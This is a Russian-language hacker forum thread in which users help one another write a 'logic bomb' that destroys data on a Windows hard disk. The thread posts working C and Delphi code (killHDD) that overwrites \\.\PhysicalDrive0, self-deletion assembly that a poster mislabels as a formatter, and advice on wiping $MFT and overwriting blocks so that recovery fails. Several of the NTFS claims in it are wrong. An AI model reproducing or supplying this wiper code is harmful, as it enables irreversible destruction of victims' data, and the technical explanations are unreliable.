Windows , HDD и NTFS

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _nic, 16 Jun 2007.

  1. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Пытаюсь написать так называемую логическую бомбу :rolleyes: Смысл в том чтобы часть поверхности жесткого диска с виндой покрыть нолями первое что пришло в голову было это:
    Code:
    char buffer[512];
    HANDLE fisdrive,f;
    DWORD num;int a;
    drive=CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL);
    for(;;)
    {
    for(int b=0;b<5;b++)
    {
    memset(buffer,0,512);
    SetFilePointer(drive,512*a,NULL,FILE_BEGIN);
    WriteFile(drive,buffer,512,&num,NULL);
    }
    a=a+1000;
    }
    
    Эксперементировал на вмваре .К сожалению виндовс загрузился и чекдиск все пофиксил :( .У кого нибудь есь идеи как уничтожить инфу на жестком диске?Возможно можно вычислить область где хранится резервная FAT таблица?
     
  2. Metal

    Metal Banned

    Joined:
    6 Jan 2007
    Messages:
    14
    Likes Received:
    0
    Reputations:
    -4
    .data
    szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0
    szBatchName2 db "a.bat",0

    .code

    DoSelfDelete proc
    LOCAL hFile: DWORD
    LOCAL bWritten: DWORD

    invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH
    invoke lstrcpy, offset lpBuf1, offset lpBuf2

    lea eax, lpBuf2
    xor edx, edx
    @loop:
    cmp byte ptr[eax], '\'
    jne @next
    mov edx, eax
    @next:
    inc eax
    cmp byte ptr[eax], 0
    jnz @loop

    inc edx
    mov byte ptr[edx], 0
    invoke lstrcat, offset lpBuf2, offset szBatchName2


    invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
    mov hFile, eax
    inc eax
    jz @end

    invoke lstrlen, offset szBatchFile2
    mov edx, eax
    invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL
    invoke CloseHandle, hFile

    szText SelfDelQuoteFmt2, '"%s"'
    invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1


    xor eax, eax
    push SW_HIDE
    push eax
    push offset lpBuf3
    push offset lpBuf2
    push offset szTextOpen
    push eax
    call ShellExecute
    @end:
    ret
    DoSelfDelete end


    этот код из хинча!форматирует диск может поможет тебе !
    обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные!
    если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул!:)
     
    #2 Metal, 16 Jun 2007
    Last edited: 16 Jun 2007
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Metal, я так понял, _nic'y не на асме нужен
     
  4. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Да асмом я не владею.И ещё допустим удастся основную фат убить но насколько я знаю нтфс имеет резервную копию фат таблицы как с ней поступить?
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 _nic я вот юзал вот этот код:
    Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже.
    Код начинает с самого начала забивать винт рожицей.
    Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD
    Если этот код запускается при загрузки системы. т.е. вмантирован в сервис.
    по просто винда долго грузится долговато,а потом вылетает в BSoD
    Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами.

    Code:
    procedure killHDD(fn:string);
    var
    f:thandle;
    z,c:integer;
    buf:pointer;
    buf_len:integer;
    label m2;
    begin
    buf_len:=1024*4;
    getmem(buf,buf_len);
    asm
    push eax
    push ecx
    mov eax,buf
    xor ecx,ecx
    @m1:
    mov [eax+ecx],01010101h
    add ecx,4
    cmp ecx,buf_len
    jb @m1
    pop ecx
    pop eax
    end;
    m2:
    f:=fileopen(fn,2);
    if f=invalid_handle_value then exit;
    repeat
    writefile(f,buf^,buf_len,cardinal(z),nil);
    if z=0 then
     begin
       closehandle(f);
       buf_len:=buf_len-512;
       if buf_len=0 then exit;
       goto m2;
     end;
    until 1=0;
    end;
    
    
    юзать код так:
    killHDD('\\.\PhysicalDrive0');
     
    #5 slesh, 16 Jun 2007
    Last edited: 16 Jun 2007
    2 people like this.
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ну если дело на то пошло, то в NTFS вместо FAT юзается системный файл с именем $MFT
    вот если затереть его, то уже восстановить врядли удастся виндовыми утилитами.
    Хотя EasyRecovery запросто найдет все файлы на винте. вот тока названия не будет у них.
     
  7. Metal

    Metal Banned

    Joined:
    6 Jan 2007
    Messages:
    14
    Likes Received:
    0
    Reputations:
    -4
    моно и многоми другими прогами это все дело востановить!да а снозвание фаилов проблемы будут!но суть не в этом а в том что фаил мфс это и есть резервная копипая фат и краткого описания фаилов т.е. когда нехватает места на винте этот фаил урезаеться а фат ана и в африке фат и распологаться по идее должна сразу после загрузчика!(я так думаю) а вобще думаю что покрывать не вес винт 0 а ну допустим через блок или 2 блока... дело быстрей пойдет и фаилы толком не востановяться..... а что бы из никогда не востановить лучше каждый блок перезаписать 2-3 раза!:)
     
  8. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    ТС: Кстати зря ты каждый раз обнуляешь 512 байт одно и того же буфера. Тормоза будут.
     
  9. NetMan

    NetMan Elder - Старейшина

    Joined:
    9 Feb 2004
    Messages:
    121
    Likes Received:
    37
    Reputations:
    34
    Metal > тот сурс что ты дал производит самоудаление exe через bat файл, а никакое не форматирование!
     
  10. Metal

    Metal Banned

    Joined:
    6 Jan 2007
    Messages:
    14
    Likes Received:
    0
    Reputations:
    -4
    яж написал что из ксинча выдрал.... кстаи проверерял норм работает!:) а так все что знал про фат вроде написал...